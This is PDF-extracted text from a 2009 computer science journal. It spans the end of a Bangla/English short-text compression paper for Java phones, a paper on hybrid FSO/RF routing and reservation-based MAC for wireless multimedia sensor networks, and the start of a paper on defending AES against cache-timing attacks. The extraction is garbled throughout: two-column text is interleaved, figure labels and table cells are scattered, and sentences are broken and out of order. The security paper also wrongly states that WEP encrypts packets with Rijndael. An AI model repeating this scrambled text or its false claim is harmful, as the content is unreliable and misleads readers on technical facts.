The implementation of the compression scheme is performed using JAVA 2 Micro Edition with the simulation using Java-2 SE 1.5. The cellular phones adapting the proposed Compression tool must be JAVA powered. The implementation will include both encoding and decoding mechanism. A. Discussions on Results The performance evaluation is performed on the basis of the various corpuses. As the prime aspect of our proposed Compression Scheme is not to compress huge amount of text rather to compress texts with limited size affordable by 36 the mobile devices i.e. embedded systems, we took blocks of texts less than one thousand characters chosen randomly from those files ignoring binary files and other Corpus files and performed the efficiency evaluation.
5 4.5 4 3.5 3 2.5 2 1.5 1 0.5 0 DCM-1
DCM-2
PROPOSED
SCHEMES
The most recent study involving compression of text data are1. “Arabic Text Steganography using multiple diacritics” by Adnan Abdul-Aziz Gutub, Yousef Salem Elarian, Sameh Mohammad Awaideh, Aleem Khalid Alvi. [1]
PROTHOMALO VORERKAGOJ AMADERSOMOY Ekushe-khul. POEM Ekushe-khul. Article
2. “Lossless Compression of Short English Text Message for JAVA enables mobile devices” by “Md. Rafiqul Islam, S. A. Ahsan Rajon, Anondo Poddar. [2] We denote the above two methods as DCM-1 and DCM-2 respectively.
V. CONCLUSION The prime objective of this undergraduate research is to develop a more convenient low complexity compression technique for small devices. As the environment is completely different from the usual one (PCs with huge memory and amazingly greater performance speed) and the challenge is to cope with the low memory and relatively less processing speed of the cellular phones, the ultimate objective is to devise a way to compress text messages in a smart fashion to ensure optimal rate and efficiency for the mobile phones which may not be the best approach for other large-scale computing devices. That is why, in comparison to other ordinary data compression schemes the proposed is of low complexity and less time consuming.
The simulation was performed in a 2.0 GHz Personal Computer with 128 MB of RAM in threading enable platform. The result for different size of blocks of text is as follows-
Source
DCM-1
DCM-2
Proposed Technique
Prothom Alo
4.24
4.01
3.98
Vorer Kagoj
3.78
4.19
3.98
Amader somoy
4.02
4.08
3.93
Ekushe-khul.poem
4.98
3.98
3.65
Ekushekhul.Article
4.48
3.79
3.44 REFERENCES [1]
[2] [3]
[4] [5]
102
Sameh Ghwanmeh,Riyad Al-Shalabi and Ghassan Kanaan “Efficient Data Compression Scheme using Dynamic Huffman code Applied on Arabic Language” Journal of Computer Science,2006 Tomas Kuthan and Jan Lansky “Genetic algorithms in syllable based text compression” Dateso 2007. Md. Rafiqul Islam, S.A.Ahsan Rajon, Anondo Poddar “Lossless Compression of Short English Text Message for JAVA enable mobile devices” Published in Proceedings of 11th International Conference on Computer and Information Technology (ICCIT 2008) 25-27 December, 2008, Khulna, Bangladesh. Phil Vines,Justin Zobel, “Compression of Chinese Text” Journal title: software practice and experience,1998. www.maximumcompression.com Data Compression Theory and Algorithms Retrieved/visited on August 10, 2009.
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009 [6]
[7] [8] [9]
Khair Md. Yeasir Arafat Majumder, Md. Zahurul Islam, and Majuzmder Khan, “Analysis of and Observations from a Bangla News Corpus”, Proceedings of 9th International Conference on Computer and Information technology ICCIT 2006, pp. 520-525, 2006. N. S. Dash, “Corpus Linguistics and Language Technology”, 2005. Leonid Peshkin, “Structure Induction By Lossless Graph Compression”. 2007 Data compression Conference (DCC’07). www.datacompression.com Theory of Data Compression
103
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
QoS Provisioning Using Hybrid FSO-RF Based Hierarchical Model for Wireless Multimedia Sensor Networks Saad Ahmad Khan , Sheheryar Ali Arshad Department of Electrical Engineering, University Of Engineering & Technology, Lahore Pakistan, 54890 Email: [email protected]; [email protected]
and provides a convenient bridge between the sensor network and the nearest optical fiber. In addition, “well-designed” FSO systems are eye safe, consumes less power and yields smaller sized nodes because a simple baseband analog and digital circuitry is required, in contrast to RF communication. More importantly, FSO networks enable high bandwidth burst traffic which makes it possible to support multimedia sensor networks [1].
Abstract- Our objective is to provide guaranteed packet delivery service in time constrained sensor networks. The wireless network is a highly variable environment, where available link bandwidth may vary with network load. Since multimedia applications require higher bandwidth so we use FSO links for their transmission. The main advantage of FSO links is that they offer higher bandwidth and security, while RF links offer more reliability. The routing in this multi-tier network is based on directional geographic routing protocol, in which sensors route their data via multi-hop paths, to a powerful base station, through a cluster head. Some modifications have also been incorporated in the MAC layer to improve the QoS of such systems.
Class
Application
Bandwidth (b/s)
Delay bound (ms) Large
Loss Rate
Digital 1M – 10M 10-6 Non-real Video time variable bit rate Web 1M - 10M Large 10-8 Available Browsing Bit Rate File Transfer 1M - 10M Large 10-8 Unspecified Bit Rate 32 k – 2M 30-60 10-2 Constant Bit Voice Rate 128k - 6M 40-90 10-3 Real time Video Variable Bit Conference Rate Table 1 Typical QoS requirements for several service classes
Index Terms — Wireless Multimedia Sensor Networks; Visual Sensor Network; Hybrid RF-FSO; QoS Provisioning; Hierarchical Sensor Network Model .
I. INTRODUCTION RECENT advancement in field of sensor networks show that there has been increased interest in the development multimedia sensor network which consists of sensor nodes that can communicate via free space optics (FSO) or RF. A wireless multimedia sensor network typically consists of two types of sensor nodes. One of these acts as data sensing nodes with sensors like acoustic sensors or seismic sensors etc. The other nodes are the video sensor nodes which capture videos of event of interest. Multimedia contents, especially video streams, require transmission bandwidth that is orders of magnitude higher than that supported by current off-the-shelf sensors. Hence, high data rate and low-power, consumption-transmission techniques must be leveraged. In this respect, free space optics seems particularly promising for multimedia applications. FSO refers to the transmission of modulated visible or infrared (IR) beams through the atmosphere to obtain broadband communications over distances of several kilometers. The main limitation of FSO is the requirement that a direct line-ofsight path exist between a sender and a receiver. However FSO networks offer several unique advantages over RF networks. These include the fact that FSO avoids interference with existing RF communications infrastructure [1], is cheaply deployed since there is no government licensing of scarce spectrum required, is not susceptible to “jamming” attacks,
II. RELATED WORK Inherently a multi-path protocol with QoS measurements and a good fit for routing of multimedia streams in WSN. Multiflow Real-time Transport Protocol (MRTP) [2] is suited for real-time streaming of multimedia content by splitting packets over different flows. However, MRTP does not specifically address energy efficiency considerations in WMSNs. In [3], a wakeup scheme is proposed to balance the energy and delay constraints. In [4], the interesting feature of the proposed protocol is to establish multiple paths (optimal and suboptimal) with different energy metrics and assigned probabilities. In [5], a Multi-Path and Multi-SPEED routing protocol is proposed for WSN to provide QoS differentiation in timeliness and reliability. In [6], an application admission control algorithm is proposed whose objective is to maximize the network lifetime 104
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
2) Narrow line of sight (LOS) FSO channels that connect the cluster heads to the base station. The FSO link is achieved by using a passive modulating optical retro-reflector mounted on each node. The base station steers a narrow optical beam to interrogate all the FSO nodes in the field. Nodes that are too far from the base station, or which do not have Line Of Sight to the base station, communicate with the base station through RF peer-to-peer multi-hop links. Due to this some of the nodes in the network act as cluster heads.
subject to bandwidth and reliability constraints of the application. An application admission control method is proposed in [7], which determines admissions based on the added energy load and application rewards. While these approaches address application level QoS considerations, they fail to consider multiple QoS requirements (e.g., delay, reliability, and energy consumption) simultaneously, as required in WMSNs. The use of image sensors is explored in [8], in which visual information is used to gather topology information that is then leveraged to develop efficient geographic routing schemes. A similar scenario is considered in [9] where imaging data for sensor networks results in QoS considerations for routing Recent studies have considered the effect of unidirectional links [10], and report that as many as 5% to 10% of links in wireless ad hoc networks are uni-directional [11] due to various factors. Routing protocols such as DSDV and AODV which use a reverse path technique implicitly ignore such unidirectional links, and are therefore not relevant in this scenario. Other protocols such as DSR [10], ZRP [12] or SRL [13] have been designed or modified to accommodate unidirectionality, by detecting unidirectional links, and then providing a bi-directional abstraction for such links [14], [15], [16], [17]. The simplest and most efficient solution proposed for dealing with unidirectionality is Tunneling [18], in which bi-directionality is emulated for a uni-directional link by using bi-directional links on a reverse backchannel to establish the tunnel. Tunneling also prevents implosion of acknowledgement packets and looping by simply repressing link layer acknowledgments for tunneled packets received on a unidirectional link. Tunneling however works well in a mostly bi-directional network with few unidirectional links [10]. Our contribution in two manifold. We’ve given a novel routing algorithm and also introduced a novel approach to improve QoS at Network and MAC layer. In Section III we propose the Hybrid based RF-FSO System which includes the routing model, a novel routing approach to send the aggregated data via FSO links to sink and a suitable Medium Access Control Layer Protocol to improve the Quality of Service
Base Station Tier 1
Cluster Heads Tier 2
Sensor Nodes Tier 3
Figure 1- Multiple Tier Network Structure for Hybrid RF-FSO
In such RF/FSO based wireless sensor network, none of the nodes communicate directly to the sink (base station) using RF links. ROUTING PROTOCOL DESIGN We consider a geographic WMSN which consist of finite set of sensor nodes which can be represented as N={ n1,n2,...,nN} whereas finite set of links between them are L={l1,l2,...,lN}. The location of the base station and the sensor nodes is fixed that can be obtained through GPS. The nodes that are basically at 1-hop distance from the Base Station are Cluster heads that uses FSO link for their communication. The cluster heads are equipped with RF/optical trans-receiver (consisting of Infrared/semiconductor laser and photo-detectors). Each Cluster Head Sx has a position (xa, ya) and directional orientation θx, and can orient its transmitting laser to cover a contiguous scanning area, given as α/2 + θx ≤ ϕx ≤ +α/2 + θx. (1) Following the model as depicted in Figure 2, each cluster head Sx can send data over oriented sector ϕx of α degrees, for a fixed angle 0 < α < 2π. The receiving photo-detector is omnidirectional and can thus receive data from any direction, so that the sensing region of the cluster head is not only limited to its communication sector. For another cluster head Sy to receive data from Sx two conditions must be met:
III. PROPOSED HYBRID FSO/RF BASED SYSTEM The key observation to our hybrid architecture is that in wired networks, the delay is independent of the physical distance between the source and sink, but in case of multi-hop wireless sensor networks, the end-to-end delay depends on not only single hop delay, but also on the distance a packet travels. In view of this, the key design goal of such architecture is to support a soft real-time communication service with a desired delivery speed across the sensor network, using FSO links for high bandwidth applications and RF links for initiating routing paths and low bandwidth applications. NETWORK MODEL In Figure 1, the base station is elevated over the RF/FSO WSN deployment area. There are two types of channels in the RF/FSO WSN: 1) RF peer-to-peer channels 105
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
1) The distance between them should be lesser than the communication range R(n) of the sender cluster head, i.e., D(Sx, Sy) R(N).
fixed attributes in a COMB are set by the source and not changed while the COMB is propagated across the network. On the other hand, when an intermediate CH broadcasts a COMB, it will change the variable attributes in the message. Hop-Count is the hop count from the source to the current CH. PreviousHop is the identifier of the current CH. Position denotes the absolute coordinates of the current CH. A cluster head receiving a COMB will calculate its distance from the destination/sink CH. If the distance between the cluster head that received the COMB message and the sink CH is lesser than the distance between the source CH to the sink CH and the CH that received the PROBE message lies inside the communication sector of source CH, then that CH will become the next hop CH. The same procedure will be repeated for all other CH’s and multiple delivery guaranteed routing paths from Source CH to sink CH will be discovered that will use FSO link for multimedia transmissions. The next phase is to find the best possible routing path from already explored multiple paths. In order to do so, we assume a Reference Line directly connecting source CH and the destination CH. For each and every path, we calculate the distance between every CH that comes along that path and the Reference Line and then take its average.
N
Sz
θx R
Sx
Sy
x
Figure 2 Cluster head Sy falls into communication sector of Sx
2) The receiving cluster head must be within the ϕx of the sender cluster head, i.e., (xb, yb)∈ ϕx, where (xb, yb) defines the location of the receiver cluster head. For this setup, Sx may directly talk to Sy; however, Sy can only talk to Sx via reverse route, with other cluster heads in the network acting as simple routers [1]. Let us suppose that cluster head Sx is initiating next hop selection to find routing routes. The coordinates of a S x (xa,ya) is piggybacked in the message broadcast by Sx. Thus a neighbor node Sy know the position of tits upstream node Sx, its own position , i.e., Sy (xb, yb) and the sink’s location. Further we assume that each cluster head knows about its neighborhood (any algorithm can be used to find out the neighborhood of a cluster head, e.g., Neighborhood discovery algorithm (NDA) as proposed by [1]). Since cluster heads are equipped with hybrid RF/FSO links, so the first phase in our design is to discover multiple routing paths from source cluster heads to sink cluster head or base station. To establish a path, a probe (COMB) message is broadcast to every 1-hop neighbor initially by the source for route discovery. The selected next hop CH will continue to broadcast COMB message to find their next hop, and so forth until sink CH is reached. The information that is contained in a COMB message is shown below
HopCount
i 1
CH2 CH1 CH3 Path 1
CH0
Path 2
CH4 CH5 d1
Source CH
Refere Path 4
Path 3
d2
nce LIn
d3
e CH13
CH9
CH6
CH8
CH10
Sink CH CH12
CH7 CH11
Figure 4 – Mulitpath Establishment Phase
where, di for Path1 is the sum of d1, d2 and d3 which are the distances of CH1, CH2 and CH3 from the Reference Line. Similarly, we will find Dpath2...,DpathM where M are the total number of routing paths explored from source CH to sink CH. We will select that path for routing multimedia application which has got smallest value of Dpath. Once the best path has been explored, then we can use FSO links and corner cube retro reflector CCR for bandwidth hungry applications.
SinkID SrcToSinkHopCout Variable Attributes PreviousHop
di Hopcount-1
Fixed Attributes SourceID DeviationAngle
N
Dpath
Position
Figure 3- Packet format of COMB
The COMB message is identified by the SourceID, SinkID. DeviationAngle (denoted by α) specifies the unique direction where a path will traverse during path establishment. The 106
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
The Reservation Period is divided in “Reservation Period slots (RP-slots)”, each having a fixed length (which is enough for three reservation messages to be transmitted). The Contention-Free period is divided in a Contention-Free (CF) slots. Each CF-slot has fixed length, long enough for a transmission of a data packet and an acknowledgment. Each station δ keeps the reservation information in a Reservation Table (RT), which keeps track of the IDs of the nodes (within range) that are transmitting or receiving data during each Contention Free slot. When a node joins the network it has to stay awake for some period to hear the ongoing transmissions and to update its reservation table.
IV. MAC QoS PROVISIONING Research efforts to provide MAC layer QoS can be classified mainly into (i) channel access policies, (ii) scheduling and buffer management, and (iii) error control. (i) Channel Access Policy Motivated by the power-aware protocol [20], we define Cluster-head Reservation based MAC scheme (CRB-MAC). We make the following assumptions: i. All nodes are synchronized to a global time, according to some synchronization scheme and time is sliced in frames of fixed length. ii. Loss of packets can only occur due to collisions or missed deadlines. iii. Admission control has been performed already, so that the offered load can be sustained by the network. iv. The network is stationary, i.e., there is no mobile node.
Reservation Period During the Reservation Period, two types of “reservation procedures” can take place, i.e., the Connection Establishment procedure and the Connection Cancelation procedure. A station that needs to initiate a Connection Establishment or Connection Cancelation can do so in the pre-specified Reservation Slot for its grid. A host in a grid H(x, y) can initiate a reservation procedure only during the reservation slot 'r' such that r = 3x+2y+5. This ensures that only one reservation in H a rectangular area of 3x3 grids can take place in one reservation slot.
Let Y(i) be a node in the network such that total number of N
nodes Ytotal =
Y . The range R(x) of a cluster-head 'x' i
i 1
contains a set of cluster-heads within its RF/FSO range. R(x) = {h│h is in transmission range of cluster-head} There is a set R(x, y) which contains all set of cluster heads in common range of two cluster-heads R(x, y) = R(x) ∩ R(y) We assume that the geographic area of the network is divided into rectangular grids of equal size. Each gird of size Ca x Cb covers at least one cluster head. Each cluster head has its geographic location (found via GPS) which is mapped on one-to-one basis to the grid location.
H (1,1)
diu
T(1, 2)
T(1, 3)
T(2, 1)
T(2, 2)
T(2, 3)
T(3, 1)
T(3, 2)
T(3, 3)
Figure 6- Reservation Slot using Grid
When a station needs to make a connection establishment or cancellation, it senses the channel to determine if another station of the same grid is transmitting. The station proceeds with a transmission if the medium is determined to be idle for a specified interval. If the medium is found to be busy, or the first message is not sent successfully, by a sender then the exponential back-off algorithm is followed and the station chooses a subsequent frame to re-initiate its request.
H (1,2)
Ra
T(1, 1)
s
Ca Cl us r te he ad co m m
H (2,1)
The Connection Establishment procedure takes place for a real-time station every time a new real time session begins. Datagram (non-real-time) traffic is not sensitive to delay, thus nodes may buffer the packets up to a “burst length” N and then make a request for sending the whole burst. The reservation establishment involves the exchange of three control messages:
H (2,2)
un i ca tio n ra
Cb
R
ng e
(a) A Connection Request CR(x, y) is sent by a node x to a neighbor y for which it has real-time or non-real-time packets.
Figure 5 - Cluster Head Grid
Each frame is divided, into the Reservation Period (RP), during which nodes compete to establish new reservations or cancel reservations, and the Contention-Free Period (CFP), during which they send data packets without contention during the reserved transmission windows and sleep when they do not have a packet to send or receive.
Packet length
107
Deadline for the real-time data packet Figure 7(a) Real time data packet format Free Slots
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
The foundation of a proper QoS provisioning lies in the appropriate service model that describes a set of offered services. Existing QoS aware networks, like ATM, InteServ, and DiffServ, designed their service models based on QoS requirements of applications in the corresponding network infrastructure. We have laid the foundation of our service model for hybrid fso-rf based multimedia network. First the multimedia data is classified into real time and non real time data according to the delay requirements. For achieving desired QoS for a real time application it is usually mandatory to maintain a specific bandwidth during real time transmission time. We categorize applications to the following classes.
Number of buffered packets of non-real time data to be sent Figure 7(b) Non-real time data packet format
Packet length
Free Slots
(b) A Connection Acknowledgment CA(y, x) is sent by a node y to a neighbor x. The CR from x contains the information of free slots of x. Node y scans for all of its free slots and compares it with the free slots of x. Then, it schedules the requested packet in a common free slot in its Reservation Table. Then, the receiver indicates in the CA which reserved slot(s) the sender should use. RT (i) = {Fs| Fs Є {XFs ∩ YFs} (c) A Slot Rese SRB (x, y) is sent by a node x to all other nodes and includes the reserved slots that x has reserved. Thus all the nodes in neighborhood become also aware of the reservation.
• Bonded service represents real-time applications that require absolute continuity, i.e., the transmission of data cannot be disconnected between the session. • Semi-bonded service represents real-time applications that can tolerate a reasonably low disconnection in-between the transmission.
Cluster Head Z Session 1
on ati B) e rv R e s t (S t R ca s Slo oad Br
Session 2
Connection Request (CR) Connection Acknowledgement (CA)
Cluster Head X
Transceiver
Scheduler
Slot Reservation Broadcast (SRB) Cluster Head Y Session N-1
Figure 8- Connection Establishment between Node X and Node Y
The Connection Cancelation is invoked when a sender has no more packets to send during its real-time session. Two messages are involved in the Reservation Cancelation: (a) The Connection Cancel CC(x, y) sent by a node x to node y (b) The Connection Cancel Acknowledgment CC-ACK(y, x), sent by node y to x.
MAC Feedback Channel State montior/ Predictor
Session N
Figure 9- Wireless Multimedia Scheduler
V. MAC QoS PROVISIONING PROOF The defined changes in MAC layer provide better QoS under the assumptions as taken before in the paper. The hidden node problem causes the collision and certain critical information is lost. If connection establishment information is lost then the reservation tables can become inconsistent and collisions in data packets may occur or Contention Free slots maybe wasted. When a CR packet is collided, no reservation information is lost. When CA or SRB packets are lost, conflicting reservations can happen, which may result in data packets collisions. When Connection Cancellation or CCACK packets are lost, then reservation cancelation information maybe lost and the slots may not be able to be reserved for other hosts, thus data slots remain unused. We assume that a node initiates a reservation procedure with node that involves CF-slot. To prove MaC QoS provisioning we use the following lemma.
Contention-Free Period During the CFP, the stations wake up in the predetermined transmission slots according to their Reservation Table, to send or receive data packets, and sleep the rest of the period. In each slot, the sender sends a data packet, with size specified by the sender and receives an acknowledgment (ACK) sent by the receiver. If a node does not have any data to send or receive during a Contention Free slot, then it switches off. Once the reservation for a real time session is established, it is kept until an explicit reservation cancelation is performed as described above. The sender will use the reserved slot to send its data packets until the session is over. Reservations for datagram traffic are valid only for the current frame and the hosts clear their Reservation Table for those slots that have non-real-time transmissions, after the CFP is over. Thus no explicit cancelation is needed in case of datagram reservations.
^
ii) Scheduling and Buffer Management
Lemma 1: A node k in the network can cause a reservation message to be missed by a node in during Connection 108
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
[12] D. B. Johnson and D. A. Maltz, “Dynamic source routing in ad hoc wireless networks,” in Mobile Computing, Imielinski and Korth, Eds., vol. 353. Kluwer Academic Publishers, 1996. [13] M. R. Pearlman Z. J. Haas and P. Samar, “The zone routing protocol (zrp) for ad hoc networks,” in Internet Draft - Mobile Ad Hoc NETworking (MANET) Working Group of the Internet Engineering Task Force (IETF), 2001. [14] V. Ramasubramanian, R. Chandra, and D. Mosse, “Providing a bidirectional abstraction for unidirectional ad hoc networks,” in Proceedings of IEEE Infocom, New York, NY, USA, 2002, pp. 1258–1267. [15] L. Bao and J. J. Garcia-Luna-Aceves, “Link-state routing in networks with unidirectional links,” in In Proceedings of International Conference on Computer Communications and Networks (IC3N),, Boston, Massachusetts, 1999, pp. 358–363. [16] W. Dabbous, E. Duros, and T. Ernst, “Dynamic routing in networks with unidirectional links,” in WOSBIS’97, Budapest, Hungary, October 1997, pp. 35–47. [17] M. Marina and S. Das, “Routing performance in the presence of unidirectional links in multihop wireless networks,” in Proc. ACM MobiHoc., 2002, pp. 12–23. [18] R. Prakash, “A routing algorithm for wireless ad hoc networks with unidirectional links,” Wireless Networks, vol. 7, no. 6, pp. 617– 625, 2001. [19] S. Nesargi and R. Prakash, “A tunneling approach to routing with unidirectional links in mobile ad-hoc networks,” in In Proceedings Ninth International Conference on Computer Communications and Networks., 2000, pp. 522–7. [20] M. Adamou, I. Lee, and I. Shin, “An energy efficient real-time medium access control protocol for wireless ad-hoc networks,” in WIP session of IEEE Real-time systems symposium, London, UK, 2001.
Establishment phase, if and only if, it is couple of hops away, i.e., 1,2,3 or 4 hops-way from the sender Lemma 2: All Connection Reservation Messages are received successfully by the nodes during the time that any reservation procedure is taking place, if and only if, any node initiates a reservation procedure at reserved slot. Lemma 3: The protocol ensures that all nodes in successfully update their reservation tables whenever connection establishment or connection cancellation procedure take place. . VI. CONCLUSION AND FUTURE WORK We have presented a hybrid FSO/RF based model for wireless multimedia sensor network. We have proposed a new routing protocol for such networks to provide energy efficient real time communication. As future work we plan to simulate our protocol and compare it with similar reservation based protocol. It is expected that our protocol consumes less energy for routing multimedia data with minimum delay. At MAC layer we use a fully distributed reservation scheme which is able to provide bandwidth guarantees and energy conservation using geographic information.
REFERENCES [1] U. N. Okorafor and D. Kundur, “Efficient routing protocols for a free space optical sensor network,” in Proceedings of 2nd IEEE International Conference on Mobile Adhoc and Sensor Systems Conference, pp. 251–258, Washington, DC, USA, November 2005. [2] S. Mao, D. Bushmitch, S. Narayanan, and S. Panwar, “MRTP: a multiflow real-time transport protocol for ad hoc networks,” Multimedia, IEEE Transactions on, vol. 8, no. 2, pp. 356–369, April 2006. [3] X. Yang and N. H. Vaidya, “A wakeup scheme for sensor networks: Achieving balance between energy saving and end-to-end delay,” RTAS, vol. 00, p. 19, 2004. [4] R. Shah and J. Rabaey, “Energy aware routing for low energy ad hoc sensor networks,” 2002. \ [5] Felemban, E.; Chang-Gun Lee; Ekici, E., "MMSPEED: multipath Multi-SPEED protocol for QoS guarantee of reliability and. Timeliness in wireless sensor networks," Mobile Computing, IEEE Transactions on , vol.5, no.6, pp. 738-754, June 2006 [6] M. Perillo, W. Heinzelman, Sensor management policies to provide application QoS, Ad Hoc Networks (Elsevier) 1 (2– 3) (2003) 235–246. [7] A. Boulis, M. Srivastava, Node-level energy management for sensor networks in the presence of multiple applications, in: Proc. of IEEE Intl. Conf. on Pervasive Computing and Communications (PerCom), Dallas – Forth Worth, TX, USA, 2003, pp. 41–49. [8] L. Savidge, H. Lee, H. Aghajan, A. Goldsmith, QoS based geographic routing for event-driven image sensor networks, in: Proc. of IEEE/CreateNet Intl. Workshop on Broadband Advanced Sensor Networks (BaseNets), Boston, MA, October 2005. [9] K. Akkaya, M. Younis, An energy-aware QoS routing protocol for wireless sensor networks, in: Proc. of Intl. Conf. on Distributed Computing Systems Workshops (ICSDSW), Washington, DC, 2003. [10] V. Ramasubramanian and D. Mosse, “A circuit-based approach for routing in unidirectional links networks.,” in INRIA Research Report 3292, 1997. [11] V. Ramasubramanian and D. Mosse, “Statistical analysis of connectivity in unidirectional ad hoc networks,” in International Workshop on Ad Hoc Networking (IWAHN)., Vancouver, Canada,, 2002. 109
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, August, 2009
Minimizing Cache Timing Attack Using Dynamic Cache Flushing (DCF) Algorithm Jalpa Bani
Syed S. Rizvi
Computer Science and Engineering Department University of Bridgeport Bridgeport, CT 06601 [email protected]
Computer Science and Engineering Department University of Bridgeport Bridgeport, CT 06601 [email protected]
Abstract—Rijndael algorithm was unanimously chosen as the Advanced Encryption Standard (AES) by the panel of researchers at National Institute of Standards and Technology (NIST) in October 2000. Since then, Rijndael was destined to be used massively in various software as well as hardware entities for encrypting data. However, a few years back, Daniel Bernstein [2] devised a cachetiming attack that was capable enough to break Rijndael’s seal that encapsulates the encryption key. In this paper, we propose a new Dynamic Cache Flushing (DCF) algorithm which shows a set of pragmatic software measures that would make Rijndael impregnable to cache timing attack. The simulation results demonstrate that the proposed DCF algorithm provides better security by encrypting key at a constant time.
Wireless Network Security has no exception. Wired Equivalent Privacy (WEP) is the protocol used in wireless networks to ensure secure environment. When WEP is turned on in a wireless network, every packet of data that is transmitted from one station to another is first encrypted using Rijndael algorithm by taking the packets’ data payload and a secret encryption key called WEP key. The encrypted data is then broadcasted to stations registered on that wireless network. At the receiving end, the “wireless network aware stations” utilize the WEP key to decrypt data using Rijndael algorithm. Rijndael supports a larger range of block and key sizes; AES has a fixed block size of 128 bits and a key size of 128, 192 or 256 bits, whereas Rijndael can be specified with key and block sizes in any multiple of 32 bits, with a minimum of 128 bits and a maximum of 256 bits [6]. This algorithm implements the input, output, and cipher key where each of the bit sequences may contain 128, 192 or 256 bits with the condition that the input and output sequences have the same length. However, this algorithm provides the basic framework to make the code scalable. Look up tables have been used to make Rijndael algorithm faster and operations are performed on a two dimensional array of bytes called states. State consists of 4 rows of bytes, each of which contains Nb bytes, where Nb is the input sequence length divided by 32. During the start or end phase of an encryption or decryption operation, the bytes of the cipher input or output are copied from or to this state array. The several operations that are implemented in this algorithm are listed below [9]:
Keywords- dynamic algorithm, timing attack.
cache
flushing,
Rijndael
I. INTRODUCTION Rijndael is a block cipher adopted as an encryption standard by the U.S. government. It has been analyzed extensively and is now used widely worldwide as was the case with its predecessor, the Data Encryption Standard (DES). Rijndael, the AES standard is currently used in various fields. Due to its impressive efficiency [8], it’s being used in high-speed optical networks, it’s used in military applications that encrypt top secret data, and it’s used in banking and financial applications wherein secured and real-time transfer of data is a toppriority. Microsoft has embraced Rijndael and implemented Rijndael in its much talked about DotNet (.NET) Framework. DotNet 3.5 has Rijndael implementation in System.Security.Cryptography namespace. DotNet framework is used by millions of developers around the world to develop software applications in numerous fields. In other words, software implementation of Rijndael is touching almost all the fields that implements cryptography through the DotNet framework.
• Key Schedule: It is an array of 32-bit words that is initialized from the cipher key. The cipher iterates through a number of the cycles or rounds, each of which uses Nk words from the key schedule. This is considered as an array of round keys, each containing Nk words.
110
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. August, 2009
• Finite Field Operations: In this algorithm finite field operations are carried out, which refers to operations performed in the finite field resulting in an element within that field. Finite field operations such as addition and multiplication, inverse multiplication, multiplications using tables and repeated shifts are performed. • Rounds: At the start of the cipher the input is copied into the internal state. An initial round key is then added and the state is then transformed by iterating a round function in a number of cycles. On completion the final state is copied into the cipher output [1].
Figure 2. ShiftRows
processor designers. It has become a dominant paradigm in processor architecture in form of multicore processors available in personal computers today. Sharing processor resources like cache memory, sharing memory maps in random access memory (RAM) and sharing computational power of the math coprocessors during execution of multiple processes in the operating systems, has become an inevitable phenomenon. Few years back, Intel introduced hyper-threading technology in its Pentium 4 processors, wherein the sharing of processor resources between process threads is extended further by sharing memory caches. Shared access to memory cache is a feature that’s available in all the latest processors from Intel and AMD Athlon. With all the hunky-dory talk about how parallel computing has made Central Processing Unit’s (CPUs) very powerful today, the fundamentals of sharing memory cache across the thread boundary has come along opening doors for security vulnerabilities. The shared memory cache can permit malicious threads of a spy process to monitor execution of another thread that implements Rijndael, allowing attackers to brute force the encryption key [6, 7].
The round function is parameterized using a key schedule that consists of a one dimensional array of 32bit words for which the lowest 4, 6 or 8 words are initialized with the cipher. There are several steps carried out during this operation: SubBytes: As shown in Fig. 1, it is a non-linear substitution step where each of the byte replaces with another according to a lookup table. ShiftRows: This is a transposition step where each row of the state is shifted cyclically a certain number of steps, as shown in Fig. 2. MixColumns: This is a mixing operation which operates on the columns of the state, combining the four bytes in each column, as shown in Fig. 3. AddRoundKey: Here each byte of the state is combined with the round key; each round key is derived from the cipher key using a key schedule [1], as shown in Fig. 4. • Final Round: The final round consists of the same operations as in the Round function except the MixColumns operation. II.
III.
PROBLEM IN RIJNDAEL: CACHE TIMING ATTACK
Cache timing attack – the name speaks for itself. This belongs to a pattern of attacks that concentrates on monitoring the target cryptosystem, and analyzing the time taken to execute various steps in the cryptographic algorithm. In other words, the attack exploits the facts that every step in the algorithm takes a certain time to
RELATED WORK
Parallelism or Parallel Computing has become a key aspect of high performance computing today and its fundamental advantages have deeply influenced modern
Figure 3. MixColumn
Figure 1. SubBytes
111
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. August, 2009
OpenSSL which does not take constant time. This was taken on a Pentium M processor. It is a 128 x 128 array of blocks where X axis shows one key for each row of blocks and Y axis shows one input for each column of blocks. Any combination of (key, Input) pair shows the encryption process for that particular pair by indicating the fix pattern of colors at that place. We can see the tremendous variability among blocks in Fig. 5. Due to this variability, attacker can easily determine the weak point, where the encryption took place by just analyzing the color pattern. The cache timing attack problem has been tackled through various approaches [3]. Each solution has its own pros and cons. For instance, Intel released a set of compilers targeting their latest 64-bit processors. These compilers would take the C++ code as input and output a set of machine instructions that would not use CPU cache at all. In other words, the resultant code has a machine instruction that does not use CPU cache for temporary storage of data, in other words the cache is disabled automatically. The other suggestion was to place all the lookup tables in CPU registers rather than CPU cache, but this would affect performance significantly. Hardware approaches are also being considered. It has been suggested to have a parallel Field-Programmable Gate Array (FPGA) implementation or Application-Specific Integrated Circuits (ASIC) implementation with a separate coprocessor functioning with the existing CPU. This special coprocessor would contain special logical circuitry that would implement Rijndael. Timing attack can thus be avoided by barring other processes from accessing the special coprocessor [5].
Figure 4. AddRoundKey
